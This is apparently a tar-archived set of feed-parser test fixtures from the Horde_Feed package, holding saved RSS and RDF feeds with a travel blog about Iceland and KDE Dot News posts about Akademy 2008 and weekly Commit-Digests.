href="http://photos.derickrethans.nl/brasil2006">gallery</a>. There are also a few <a href="http://photos.derickrethans.nl/brasil2006-panorama">panoramas</a> available. </p> derick@derickrethans.nl 2006-12-19T16:42:00+01:00 nature photography Just too late for sunset http://derickrethans.nl/just_too_late_for_sunset.php <p> I usually try to get out in the weekend a bit instead of staying inside the house. The weather was great yesterday so I invited <a href="http://sebastian-bergmann.de">Sebastian</a> for a little trip to Mølen to take pictures at sunset. Unfortunately, we were two minutes too late to see the sun set. Luckily that did not stop us from taking pictures - just after sunset there is still some sunlight that hits the clouds turning them red. Here you see Sebastian taking a picture of just those red clouds: </p> <p> <img src='http://derickrethans.nl/images/content/photos/dsc_0293.jpg' align='' alt=''/> </p> <p> After the sun sets the light decreases which allows you to play a little bit with longer exposures. You can get very nice effects such as in this four second exposure of waves breaking on the (rocky) shore: </p> <p> <img src='http://derickrethans.nl/images/content/photos/dsc_0311.jpg' align='' alt=''/> </p> <p> If you instead of a close up take a bit wider image of the shore it gives an eery feeling just like this shot of the waves and water flowing inbetween the rocks that were deposited here by a glacier a long time ago: </p> <p> <img src='http://derickrethans.nl/images/content/photos/dsc_0333b.jpg' align='' alt=''/> </p> <p> The rest of the images in this serie can be found in my <a href="http://photos.derickrethans.nl/moelen_sunset">gallery</a>. </p> derick@derickrethans.nl 2006-11-19T23:46:00+01:00 holiday nature photography Iceland - Fire and Water http://derickrethans.nl/iceland_fire_and_water.php <p> Most people don't mention "Iceland" as their top number one holiday destination. However I'm a bit strange and decided to go to just this place on holiday this year. After some investigations it seemed that the best time of year was somewhere around the end of July regarding temparature, however you never know certain about what to expect. That means packing all types of clothes... summer clothes, but also a thick winter jacket, skiing clothes and rain clothes. Of course, depending on what you are going to do exactly. I wanted to see all possible types of terrain on iceland, which includes nice warm lagoons (swim wear) and glacier (warm clothes is a good idea there). Flights to Iceland are not very cheap either, but then again, nor is anything else cheap on Iceland. (Yes, the alcohol tax is even higher than in Norway). After a bit of investigation in the different points-of-interest on Iceland with the help of some locals (thanks Helgi and Bjori!) and the Lonely Planet I headed to Iceland with a friend on July 6th. </p> <p> 101 Reykjavik </p> <p> After getting to Keflavik airport way to late at night we managed to find our way to the guesthouse just to find that I fluked the reservation and they they expected us to arrive the next day. That meant that we had to sleep in "sleeping bag accomodations" which was not so confortable but I really didn't care after this overly long trip. A guesthouse is normally just a small step down from a hotel usually without people cleaning up your room every day. It does however provide a good and somewhat cheaper place to stay at. </p> <p> <img src='http://derickrethans.nl/images/content/is-bluelagoon.jpg' align='' alt=''/> </p> <p> The next day we toured around Reykjavik and the Reykjanes peninsula a bit and basically just waited until our room at the guest house was ready. After a well needed shower to get rid of all the smells we met up with a local and headed for a relaxing bath in the Blue Lagoon, the most famous (but definitely not the only) geothermal pool in Iceland. Helgi suggested to have dinner at ... and so we went there for a good meal. The best meat in Iceland is sheep or lamb and you figure out why once you start out driving in the country side... the only animal that you'd find there is sheep... and you find them literally everywhere - both off the road and on the roads. </p> <p> Þingvellír (Thingvellir) </p> <p> <img src='http://derickrethans.nl/images/content/is-thingvellir.jpg' align='right' alt=''/> Iceland begun quite some time ago with the first parliament ever in 930. The parliament was build on a site called Þingvellír which is now part of a national park. Besides the site of the former parliament the general landscape is also quite interesting as well as there is a massive lava ridge cutting across the landscape there as well as some water filled gorges and (ofcourse) a waterfall. From Þingvellír we avoided the ring road on the way back to Reykjavik and instead took some road closer to the south of the country. Little did we know as suddendly the road turned into a gravel road which we had to follow for the next, say, 50 kilometers. The road did however pass an interesting site with lots of water coming up from the ground in bright coloured mud pools. </p> <p> Water </p> <p> As proper tourists we visited two other popular sites the next day. Starting off on the southern ring road we left busy Reykjavik to visit "Geysir". </p> <p> Before we ended up at the geysirs we drove past the Keriđ explosion crater. We actually tried to have a look at this one the day before but our map had it in a totally wrong place, however my GPS map (!! add link) did have it correctly. (!! add stuff about this event). All that as left now is a crater which now houses a small lake in the middle. </p> <p> <img src='http://derickrethans.nl/images/content/is-strokkur.jpg' align='left' alt=''/> The English word geysir finds its origin in exactly the site which formerly housed this great natural water fountain in Iceland. However, in the last few years the original geysir does no longer function properly and only rarely spits out its water into the air. However at the same site there is another geysir called Strokkur which still performs well. About every 5 to 10 minutes it bursts out water into the air, however each bursts intensity varies quite a bit. You need to be a bit lucky to see a "big one". Besides Strokkur there are also a number of smaller less regular geysirs and "Bluesi" - a very blue pool with warm water. </p> <p> From the geysir field we then proceeded towards Gullfoss - the Golden Falls - named because its always present rainbow. However... if there is no sun there won't be a rainbow either ofcourse. We were lucky and the weather was fair so we could enjoy the magic of the great falls. </p> <p> Past the great glacier </p> <p> <img src='http://derickrethans.nl/images/content/is-puffin.jpg' align='left' alt=''/> Leaving Reykjavik behind we set off for Höfn (pronounced like "Hùb"). Along this route there are many smaller and larger waterfalls including one of Iceland's finest called "Seljalandsfoss". We went to see a few of those and then wandered off the ring road to have a look at the Dyrhólaey plateau where there is a large colony of puffins as well. We spend some time trying to get as close to the puffins as possible for a good photo and then proceeded our route to Höfn. When driving along the southern ring road we passed lots of lava fields and glacier tongues. The glacier toungues are all part of the largest icecap of Europe: Vatnajökull. </p> <p> <img src='http://derickrethans.nl/images/content/is-glacier.jpg' align='' alt=''/> </p> <p> About an hour before Höfn we passed the Jökulsárlón bay which is filled with icebergs from the Breiđamerkurjökull glacier. This bay gives a very strange feeling as it looks like it just comes out of a movie. Coincidentally we figured out later that parts of a James Bond film (Die Another Day) was shot here on this bay. Höfn itself is a tiny tiny town with little to do, however we would only use it as base camp for our glacier expedition. </p> <p> Hike on Svínafellsjökull glacier </p> <p> The next morning we left early from Höfn to be on time for our 10 o'clock appointment with the Icelandic Mountain Guides. This little plan of ours almost went wrong because at the Jökulsárlón bay they where working on the bridge which set us back by about 20 minutes. We barely made it on time to the base camp of the mountain guides just to find that they had us down for 14:00 and not 10:00. Luckily there was still some space for us in the 10:00 tour. There was not much Icelandic about our guide as he was there on an exchange project from New Zealand: Ben. Ben took us out on a trip over the lower parts of the Svínafellsjökull glacier and explained us about the different things that make up a glacier. Basically a glacier is just compressed snow but because of gravity this compressed mass starts moving down the valleys until there is a point where the sun is winning from the accumulation of snow. Here the glacier melts and ends. Between the main icecap Vatnajökull and the edge are the glacier valleys and ice falls. Just after we came off the glacier it started to pour so we just drove back to Höfn and stayed in. I managed to assemble most of my panoramas and manage all my photos that I'd taken so far. </p> <p> From Höfn to Akureyri </p> <p> Rain, rain and more rain was the case this day as well when we passed past numerous bays and inlets on the eastern side of Iceland and later through high plains with lava fields. Somewhat closer to Myvatn we made a small detour to see the Krafla region's vulcanic activity but bad wind and rain killed that plan. We did manage to have a look at the Krafla power station where electricity is won from earth heated water in the form of steam. The small tour of the plant was done by a girl who've had this summer job for the past 4 years and was happy to answer our questions, especially because were not so loud as the three tour busses that left when we just got there I suppose. We promised to come back to the Krafla area to see more of it the next day as weather was supposed to improve a lot. </p> <p> Waterfalls and Vulcanoes </p> <p> And indeed the weather did improve. With 18°C and sunny it was the perfect day to investigate some of the waterfalls in the area and then head back to the Krafla region. First on the menu was Gođafoss, which is situated very close to the ring road itself. From there on we went to the Ásbyrgi canyon on the north side of the road that leads to Dettifoss. The road that leads to Dettifoss is a 25 km long gravel road (doesn't matter from which end) that goes over some very intersting landscape which can only be similar to something as remote as the moon. There are actually multiple waterfalls in this river and you can get close to three without too much walking. The first one is Hafragillsfoss, which is rather uninspiring as you can see Dettifoss' spray in the background already. Dettifoss is actually quite ugly with black water but it is the most powerful waterfall in Iceland so you shouldn't really miss it. </p> <p> <img src='http://derickrethans.nl/images/content/is-pothole.jpg' align='right' alt=''/> From the same carpark that serves Dettifoss it's a nice 1.5 km hike to the third waterfall that you can get to, Selfoss. After visiting those three falls we proceeded southward to end up in the Krafla region, this time with some sun. Now the rain was gone we could actually see the big Viti explosion crater and walk a bit around it. Another popular hike here is the one around Lernhjúkur that takes you through a geothermic area with lots of hot springs and the lava fields that were created with the latest erruptions in this area. You can quite clearly show where the lava came from and how it flowed. It was also clear that the area is still active as the ground was usually warm and there were lots of steam vents spraying bad smelling vapor into the air. Nearby is the Hverarönd area which also has a lot of interesting pools. </p> <p> Dimmuborgir </p> <p> <img src='http://derickrethans.nl/images/content/is-dimmu.jpg' align='' alt=''/> </p> <p> On our last day on the North side of the country we again traveled to the Myvatn area to see Dimmuborgir, the black castles. However before we went there we tried to have a look at some intersting lava pillars that can be found just inside the lake. It is quite obvious why the name of the lake is Myvatn (Mosquito lake) as the were literally swarms of mosquitoes attacking us as soon as we got out of the car. Even at the Dimmuborgir site the mosquitoes were quite persistent however not as bad as closer to the lake. Dimmuborgir has some intersting formations of lava resembling buildings and even a church. On the way back we also visited the Laufás farm museum which has some restored old homes. </p> <p> To the west </p> <p> <img src='http://derickrethans.nl/images/content/is-kirkufjell.jpg' align='left' alt=''/> After Akureyri we traveled to the Snæfellsness peninsula on the west of Iceland. Unfortunately this day was again full of rain and lots of wind so we didn't really see a lot besides dirt against the car window. We stayed in a tiny town called Grundarfjórdur in a tiny but cosy hotel which also serves as the local restaurant. The town lies under the realm of Kirkufjell which we actually couldn't quite see just yet. With promises that the weather would clear up the next day we headed for bed early. </p> <p> Snæfellsness Peninsula </p> <p> <img src='http://derickrethans.nl/images/content/is-arnarstapi.jpg' align='right' alt=''/> At the westernern part of Iceland is the Snæfellsness peninsula with its main feature being the Snæfellsnessjökull glacier. But there are many more sites along the coast, although some of them might be a hard to get to. The Lonely Planet helped here a bit and we eventually made it to some very little traveled place: Öndsverdnes - the most western point of Europe - Very remote and actually quite boring. However when traveling further south along the coast the weather cleared and we had some nice walks along the coast near Arnarstapi where the water carved out interesting features in the rocks. The small hikes here however were the end of the holiday as we needed to head back for Reykjavik to catch the next day's early morning flight. </p> <p> Pictures </p> <p> For pictures of the whole trip, see <a href="http://photos.derickrethans.nl/iceland">my gallery</a>, panoramas are <a href="http://photos.derickrethans.nl/iceland-panoramas">here</a>. </p> derick@derickrethans.nl 2006-07-18T17:09:00+02:00 ././@LongLink000 145 0003736 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-dictionary.reference.com-wordoftheday-wotd.rssHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-dictionary.reference.com-wordoftheday-wotd.rs0000664000175000017500000000217212653701626031666 0ustar janjan Dictionary.com Word of the Day http://www.dictionary.com/wordoftheday/ A new word is presented every day with its definition and example sentences from actual published works. en-us Copyright 2008 Lexico Publishing Group, LLC 720 Dictionary.com http://cache.lexico.com/g/d/dictionary_logo.gif http://www.dictionary.com/wordoftheday/ 182 43 Free online dictionary, thesaurus and reference guide, crossword puzzles and other word games, online translator and Word of the Day. beneficence: Dictionary.com Word of the Day http://www.dictionary.com/wordoftheday/archive/2008/09/21.html beneficence: the practice of doing good. Lookup Dictionary.com Search q http://www.dictionary.com/search Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-doc.weblogs.com-xml-rss.xml0000664000175000017500000000370212653701626026101 0ustar janjan Doc Searls Weblog http://doc-weblogs.com/ Linux Journal senior editor and Cluetrain Manifesto co-author holds forth on whatever fancies his suit. en-us Wed, 01 Aug 2007 07:00:00 GMT Thu, 02 Aug 2007 02:51:14 GMT http://backend.userland.com/rss UserLand Frontier v9.0.1 rssUpdates doc@searls.com (Doc Searls) doc@searls.com (Doc Searls) <img src="http://www.scripting.com/images/leftArrow.gif" height="9" width="11" border="0"> http://doc-weblogs.com/2007/08/01#carryingOn <b><font color="black">Carrying on <a name="carryingOn">&nbsp;</a><a href="http://doc-weblogs.com/2007/08/01#carryingOn" title="Permanent link to 'Carrying on ' in archive."><img src="http://www.scripting.com/images/leftArrow.gif" height="9" width="11" border="0"></a></b></font> <table><tr><td width="18">&nbsp;</td><td><font color="black"><a href="http://blogs.law.harvard.edu/docsearls/">I'm working on a new blog</a> with the same name as this one here, over in my Harvard-based clubhouse. Look for new posts <a href="http://blogs.law.harvard.edu/docsearls/">over there</a>.</font></td></tr></table> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-dot.kde.org-rdf0000664000175000017500000014763112653701626023615 0ustar janjan KDE Dot News en http://dot.kde.org/ KDE Dot News: KDE News on the Dot. KDE Dot News http://www.kde.org/dot/Images/kdedotnews_88x31.gif http://dot.kde.org/ UserBase Goes Live! The KDE community is pleased to announce <a href="http://userbase.kde.org">UserBase</a>. UserBase is the new end-user wiki for KDE and complements <a href="http://techbase.kde.org">TechBase</a>, the wiki aimed at developers. It will contain tips and tricks, links to where to get more help, as well as an application catalogue giving an overview of the different kinds of programs that KDE offers. <br><p>After weeks of preparation and vivid discussions at Akademy, UserBase is ready to help users with their day-to-day problems and is awaiting contributions from the wider community. <a href="http://userbase.kde.org/Talk:Welcome_to_KDE_UserBase">A Talk page</a> is available, for suggestions and requests for content.</p> <p>The KDE community hopes to offer information that is better tailored to the needs of the KDE users by offering them a place to share their knowledge.</p> <p>For questions regarding UserBase please contact the Community Working Group at community-wg@kde.org.</p> http://dot.kde.org/1221824063/ http://dot.kde.org/1221824063/ Fri, 19 Sep 2008 04:34:23 +0000 KDE Commit-Digest for 14th September 2008 In <a href="http://commit-digest.org/issues/2008-09-14/">this week's KDE Commit-Digest</a>: "Shortcut Scheme" support allows creation of shortcut themes (Emacs, etc.) for use in KDE applications. A "Media Player" runner (with support for <a href="http://amarok.kde.org/">Amarok</a> 2), more work on panel hiding, and support for text zoom in the "Web Browser" Plasmoid in <a href="http://plasma.kde.org/">Plasma</a>. The "Weather Station" applet moves to kdereview. More refinements in PowerDevil, in preparation for a move to kdebase. Lots more functionality in Attica, the Open Collaboration Services desktop client. Start of session support in KDevPlatform (the basis of KDevelop 4). A "McCabe cyclomatic complexity metric engine" in <a href="http://www.kdevelop.org/">KDevelop</a> 4. Support for image rating (using KRatingWidget) in the interface of <a href="http://kphotoalbum.org/">KPhotoAlbum</a>. Progress towards real levels in the KPicross game. More work towards Jabber-based network games in <a href="http://home.gna.org/ksirk/">KSirK</a>. A "black screen" presentation feature in <a href="http://okular.org/">Okular</a>. Various work in <a href="http://pim.kde.org/akonadi/">Akonadi</a> and <a href="http://pim.kde.org/">KDE-PIM</a>. Start of the NetworkManager KControl module (for use in System Settings, etc). Incremental scanner support returns to Amarok 2. New plugin to specify the download order of multi-file torrents in <a href="http://ktorrent.org/">KTorrent</a>. Passwords saved per LDAP login (not host) in KRDC, greatly improving the experience for LDAP administrators. An OpenGL demo to demonstrate various parts of <a href="http://eigen.tuxfamily.org/">Eigen</a> 2. Some work to make KDE application dialogs fit into 1024x600 pixels. Merge of improvements to KFontInstaller. Import of QuickSand, an alternative front-end for KRunner. A proof-of-concept "<a href="http://decibel.kde.org/">decibel</a>-kde" library for representing contacts "based on the representation used by Kopete". WLM protocol imported into <a href="http://kopete.kde.org/">Kopete</a>. Asciiquarium screensaver moves from kdereview to kdeartwork. Kugar and koshell are removed from <a href="http://koffice.org/">KOffice</a> 2. <a href="http://commit-digest.org/issues/2008-09-14/">Read the rest of the Digest here</a>. http://dot.kde.org/1221784611/ http://dot.kde.org/1221784611/ Thu, 18 Sep 2008 17:36:51 +0000 KDE Commit-Digest for 7th September 2008 In <a href="http://commit-digest.org/issues/2008-09-07/">this week's KDE Commit-Digest</a>: A <a href="http://kphotoalbum.org/">KPhotoAlbum</a> developer sprint leads to various developments, including a new viewer and support for image "stacks". Initial lyrics support and a new "Albums" applet in <a href="http://amarok.kde.org/">Amarok</a> 2.0. Support for export to OpenDocument text and HTML formats for certain file types in <a href="http://okular.org/">Okular</a>. More functionality in the <a href="http://plasma.kde.org/">Plasma</a> "Engine Explorer", an application for data engine development. More work on the "grouping taskbar" and "Weather" applet for Plasma, and new features in the wallpaper configuration dialog. A new Plasma wallpaper plugin, "Mandelbrot fractal viewer" based on <a href="http://eigen.tuxfamily.org/">Eigen</a>. Lots of new settings across KWin-Composite effects. Start of code for a "Plasma loader" in <a href="http://raptor-menu.org/">Raptor</a>. Experiments with using Jabber to propose/find network games in KSirK. Support for subprojects with CMake, and a generic "Source Formatter" plugin (with multiple backends) in <a href="http://www.kdevelop.org/">KDevelop</a> 4. Start of an <a href="http://www.opensync.org/">OpenSync</a> plugin for <a href="http://pim.kde.org/akonadi/">Akonadi</a>. An Akonadi "server configuration" KControl module, intended for use in KDE System Settings. Support for adding files through command-line arguments in <a href="http://en.wikipedia.org/wiki/Ark_(computing)">Ark</a>. "Instant search" is implemented in KCharSelect. More work on a new IRC implementation, and improved Kiosk support in <a href="http://kopete.kde.org/">Kopete</a>. <a href="http://nepomuk.kde.org/">NEPOMUK</a> query service, and kosdwidget move to kdereview. Import of <a href="http://techbase.kde.org/Projects/LokaRest">"LokaRest"</a>, an experimental framework to access RESTful web services. A new application, kReMail, is added to playground/pim. Import of "deKorator" KWin window decoration engine to playground/artwork, and a KDE4 port of Kvkbd into playground/utils. KColorEdit 2.0 is released. <a href="http://commit-digest.org/issues/2008-09-07/">Read the rest of the Digest here</a>. http://dot.kde.org/1221232654/ http://dot.kde.org/1221232654/ Fri, 12 Sep 2008 08:17:34 +0000 KMail BugDay on Sunday The <a href="http://techbase.kde.org/index.php?title=Contribute/Bugsquad">KDE BugSquad</a> is pleased to announce another BugDay! Come and learn the fine art of bug triage. How might one do so? Join us for a KMail BugDay on Sunday, September 14th (7:00 UTC). All you need is KMail version 4.1 or more recent. That is it! We will provide all the training and support. No programming knowledge is needed. Join #kde-bugs on irc.freenode.net anytime to find out more details. Also, we have a spiffy <a href="https://mail.kde.org/mailman/listinfo/bugsquad">mailing list</a> and lots of new documentation on techbase. See you there! http://dot.kde.org/1221183052/ http://dot.kde.org/1221183052/ Thu, 11 Sep 2008 18:30:52 +0000 KDE Congratulates CERN's Large Hadron Collider Today was Big Bang Day at CERN as the world's largest science experiment was turned on. Like all good technology enthusiasts the KDE developers have been keeping up with the progress of the Large Hadron Collider in Switzerland. We are pleased to see that like all <a href="http://edu.kde.org/step/">world class physicists</a> the <a href="http://www.bbc.co.uk/radio4/bigbang/gallery.shtml?select=13">first ever ATLAS results</a> come from KDE. Their <a href="http://www.spiegel.de/fotostrecke/fotostrecke-35141-3.html">impressive control centre</a> is also <a href="http://www.spiegel.de/fotostrecke/fotostrecke-35141-5.html">making excellent use of KNotes</a>. Just as good, the world has not yet been sucked into a black hole. http://dot.kde.org/1221087118/ http://dot.kde.org/1221087118/ Wed, 10 Sep 2008 15:51:58 +0000 Akademy 2008 was Amazing It has been a couple of weeks since <a href="http://akademy2008.kde.org/">Akademy 2008</a> finished. KDE's contributors are now back home, more enthusiastic than ever about our future. If you missed the talks <a href="http://akademy2008.kde.org/conference/program.php">videos are now online</a>. This article covers what happened during the week and outlines some of the results. Read on for more. <br><div style="float: right; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-location.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-location.jpg" width="400" height="267" /></a><br /> This is where Akademy was held. </div> <h2>The Beginning</h2> <p>On Friday August 15th 2008, hundreds of KDE contributors came to the city of Mechelen to register for the event many had been looking forward to for almost a year: <a href="http://akademy2008.kde.org">Akademy 2008</a>. We played. We worked hard. We drank beer and we ate food. We even <a href="http://www.nielsvm.org/2008/08/13/french-fries-size-comparison/">discussed eating food</a>. We listened to talks. We brainstormed. We discussed. We designed. And we wrote code. But after a long and busy week, it was time to go home. Most of us have regained our strength after this exhausting, yet energising week, and we are looking back at one of the best meetings we ever had. Of course, one can never really capture all that happened. Despite the impact of the keynotes and BoF's, much happened in the corridors. Much has not been recorded anywhere but in the memories of those participating. The following report therefore focuses on the big events and the announcements.</p> <div style="float: left; border: thin solid grey; padding: 1ex; margin: 1ex; width: 300px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-enthousiastic.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-enthousiastic.jpg" width="300" height="450" /></a><br /> Modelling the latest sleek design. </div> <p>The <a href="http://dot.kde.org/1218353987/">first day</a> of Akademy brought us two keynotes, 16 other presentations, and various lightning talks about Plasma, moderated by Aaron Seigo. The first keynote was given by Frank Karlitschek. He spoke about increasing community involvement by giving "power to the people", and the <a href="http://www.open-collaboration-services.org/">refreshing ideas in his talk</a> represented Akademy 2008 in a nutshell: innovation and community. This topic was further explored in talks following the keynote. Some of these ideas are described in the article about <a href="http://dot.kde.org/1218645101">integration at Akademy</a>. Related was the talk about a <a href="http://dot.kde.org/1219926799/">future development model of KDE</a>. This talk and the BoF session later on have resulted in many discussions within the community. Time will tell if the ideas discussed will really shape the future of KDE development and the Free Desktop at large. The second keynote was about Nokia, who discussed their involvement in Qt and KDE. On Tuesday, Nokia gave away over 100 N810 internet devices to KDE developers to prove their point, and we also reported their support for <a href="http://dot.kde.org/1218543988/">the Firefox port to Qt</a> in cooperation with <a href="http://www.mozilla.org">Mozilla</a>. Suffice to say, the first day at Akademy was a great success.</p> <p>More news came in during <a href="http://dot.kde.org/1218497374">the second day</a>, most notable the <a href="http://dot.kde.org/1218387228/">the many improvements in Qt 4.5</a>, <a href="http://dot.kde.org/1218388855/">work by the KDE-PIM hackers</a> and <a href="http://dot.kde.org/1220789755/">JOLIE bringing service-oriented computing to KDE</a>. Later on, a casual meeting of Frank Karlitschek and Fabrizio resulted in plans for <a href="http://blog.karlitschek.de/2008/08/akademy-rocks.html">co-operation</a> <a href="http://fmontesi.blogspot.com/2008/08/open-collaboration-services-have-been.html">between</a> the <a href="http://www.open-collaboration-services.org/">Open Collaboration project</a> and JOLIE. A great and certainly not unique example of how Akademy brings people with brilliant ideas together!</p> <div style="float: right; border: thin solid grey; padding: 1ex; margin: 1ex; width: 300px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-whos-weird.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-whos-weird.jpg" width="300" height="450" /></a><br /> We can always depend on Seb to find practical solutions to difficult problems (this cup was meant to hold the voting cards up...) </div> <p>The day ended by <a href="http://dot.kde.org/1218497374">handing out the Akademy Awards</a>. Mark Kretschmann and the Amarok team, Nuno Pinheiro and the Oxygen team, and Aaron Seigo and the Plasma developers were awarded with the official metal gear and praise and recognition from the community. Of course, we gave a standing ovation to the <a href="http://commonideas.blogspot.com/2008/08/akademy-2008-team.html">organisers of this year's Akademy</a> as well. <h1>Moving on...</h1> <p>Monday was set aside for the famous <a href="http://ev.kde.org">KDE e.V.</a> meeting. 7 hours of talking and (re)counting votes, who could say no to such an experience? Not many - we welcomed several new members to the e.V. and during the meeting, the previous <a href="http://dot.kde.org/1218451963/">quarterly report</a> was released. Further, it was decided to <a href="http://dot.kde.org/1218525921/">endorse the new Community Working Group, and a Code of Conduct</a>. We also voted on and <a href="http://dot.kde.org/1219405212/">accepted the Fiduciary License Agreement (FLA)</a>, which has been worked on for the last year in co-operation with the <a href="http://fsfe.org/">Free Software Foundation Europe</a>.</p> <div style="float: left; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-out-for-beer.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-out-for-beer.jpg" width="400" height="267" /></a><br /> Having food and a beer in Mechelen. </div> <p>The exciting atmosphere and the Nokia N810 devices we received fuelled much of the discussion during the Emsys-sponsored <a href="http://akademy.kde.org/events/emmobile.php#maemo">Embedded and Mobile day</a>. Nokia clearly played a vital role, demonstrating their long-term commitment to Qt and KDE. Soon <a href="http://www.fredemmott.co.uk/blog_154">blog posts</a> <a href="http://blog.forwardbias.in/2008/08/n810-is-awesome.html">about</a> <a href="http://www.kdedevelopers.org/node/3628">the</a> <a href="http://www.nseries.com/products/n810/">Nokia N810</a> showed up with KDE developers talking about the potential of this device. <a href="http://www.kdedevelopers.org/node/3624">KDE packages</a> for the N810 are already available, and much work is going into porting several key KDE infrastructures like <a href="http://www.notmart.org/index.php/Software/Misc_plasmoids_on_n810">Plasma</a> or <a href="http://www.kdedevelopers.org/node/3623">Ruby</a> bindings support to it. Expect more, especially since Nokia <a href="http://akademy2008.kde.org/events/social_event.php">provided lots of free food and beer at the social event</a> on Saturday night!</p> <div style="float: right; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-discussing-plasma.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-discussing-plasma.jpg" width="400" height="267" /></a><br /> Careful, hot Plasma design going on! </div> <h2>Development and BOF Meetings</h2> <p>On Thuesday, the <a href="http://akademy2008.kde.org/events/bof.php">BoF sessions</a> (done <a href="http://en.wikipedia.org/wiki/Unconference">"unconference"</a> style) started. The purpose of the <a href="http://en.wikipedia.org/wiki/Birds_of_a_Feather_(computing)">BoF</a> sessions is to bring developers interested in a certain subject together to talk about it informally. During the BoF sessions, several rooms centring around a certain sub-project were available: the Amarok Den, the Plasma Hackers Containment, and the Office and PIM productivity room. In each of these rooms you could find 20-odd developers working on their respective applications, using the whiteboards to develop new interface concepts or discussing the weather (bad). Furthermore, two days were reserved for a more in-depth exploration of important topics: <a href="http://akademy2008.kde.org/events/bof.php#welcome">the HCI usability day</a> and the <a href="http://akademy2008.kde.org/events/bof.php#solarisplatform">Sun tutorials day</a>.</p> <p>We can not detail everything that happened in these rooms, but here is a quick impression of some of the results.</p> <div style="float: left; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-good-weather.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-good-weather.jpg" width="400" height="267" /></a><br /> Outside enjoying the weather. </div> <p>One interesting discussion in the Plasma Containment room was about small form-factors. Aaron Seigo noted how they figured out how to solve the issue with the system tray taking up too much space - combining it with the notification widget. A big target for the Plasma developers is to ensure Plasma can just as easily be controlled with multiple fingers or thumbs as with the mouse. For this, work on a full-screen application launcher and better controls is being undertaken. Another interesting development is going on around a Qt port of Edje. Edje allows a separation between the application logic and the user interface, which is described in an easy-to-use language. Integrating this technology in Plasma seems a high priority, and the <a href="http://labs.morpheuz.eng.br/blog/21/08/2008/plasmoid-with-qedje/">first experimental Plasmoids</a> using QEdje have appeared already. It will make it easier to write Plasma interfaces, allowing people with UI design skills (but little programming knowledge) to contribute.</p> <div style="float: right; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-usability.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-usability.jpg" width="400" height="267" /></a><br /> Usability team having a drink. </div> <p>The BoF about Solaris had a demo of <a href="http://opensolaris.org/os/community/dtrace/">DTrace</a>, which not only <a href="http://people.fruitsalad.org/adridg/bobulate/index.php?/archives/630-Some-Solaris-Notes.html">led the developers to a bug</a>, but also prompted the <a href="http://utils.kde.org/projects/okteta/">Okteta</a> developer to <a href="http://frinring.wordpress.com/2008/08/18/oktetaakademy-2008/">have a look</a> at Okteta running on other platforms like Windows and Mac OS X.</p> <p>The focus of the session was really more about the developer tools available on the Solaris platform (and also on other platforms, because DTrace can be used on FreeBSD and Mac OSX as well) than the platform itself; some words were said about KDE 4 on Solaris, "it'll be there soon" as well.</p> <p>Seb Ruiz, one of the Amarokers wrote <a href="http://www.sebruiz.net/343">in his blog</a> how the major work in the Amarok Den was critiquing and improving the major components in their GUI. Lydia Pintscher, the Amarok Community Manager, noted "The most important thing about Akademy in my opinion was meeting our Summer of Code students. It really helped to get to know them and make them feel they are part of the team. I hope it helped to convince them to stay with Amarok after SoC. Oh, and we really enjoyed the Akademy Awards Ceremony, obviously."</p> <div style="float: left; border: thin solid grey; padding: 1ex; margin: 1ex; width: 300px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-good-beer.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-good-beer.jpg" width="300" height="450" /></a><br /> We enjoyed good beer at the social event. </div> <p> The <a href="http://akademy2008.kde.org/events/bof.php#hci">Human Computing Interface workshop</a> by <a href="http://ellen.reitmayr.net/index.php/blog">Ellen</a> and <a href="http://weblog.obso1337.org/">Celeste</a> focussed on giving developers the tools to make their applications easier to use. Ellen explained: During the Hacking Marathon, we organised a Human Computer Interaction day including various workshops to educate the KDE developers with regards to usability and design practices. This included an introduction to <a href="http://techbase.kde.org/Projects/Usability/Project_User_Research_Template">the KDE user research profiles</a> that will help developers define their project goals and focus their work on the users' needs. In a second workshop, <a href="http://weblog.obso1337.org/2008/6-research-and-design-methods-for-developers/">six usability and design methods</a> were explained to developers which they can can apply to improve the usability of their software. <p> <p> Furthermore, in the scope of the <a href="http://season.openusability.org">Season of Usability</a>, we offered a student project to further develop the Human Interface Guidelines and identify common design patterns in KDE 4. Thomas Pfeiffer, one of our student interns, also attended Akademy and together, we documented several design patterns that will soon be available on techbase.</p> <p> Finally, we had a discussion about dialogs. Dialog alignment has been an issue in KDE for about 2 years now. During this year's Akademy, we worked together with several developers to come up with some final guidelines for dialog alignment. They will soon be documented on techbase, including some Qt Designer tips and tricks. <p> <div style="float: right; border: thin solid grey; padding: 1ex; margin: 1ex; width: 400px"> <a href="http://static.kdenews.org/jr/akademy-2008-final-article/akademy-2008-boat-trip.jpg"><img src="http://static.kdenews.org/jr/akademy-2008-final-article/wee-akademy-2008-boat-trip.jpg" width="400" height="267" /></a><br /> Boat trip, see the videos at <a href="http://radio.kde.org/">KDE://Radio</a>. </div> <p> Work and play have to go together. So we had a Nokia-sponsored <a href="http://akademy2008.kde.org/events/social_event.php">social 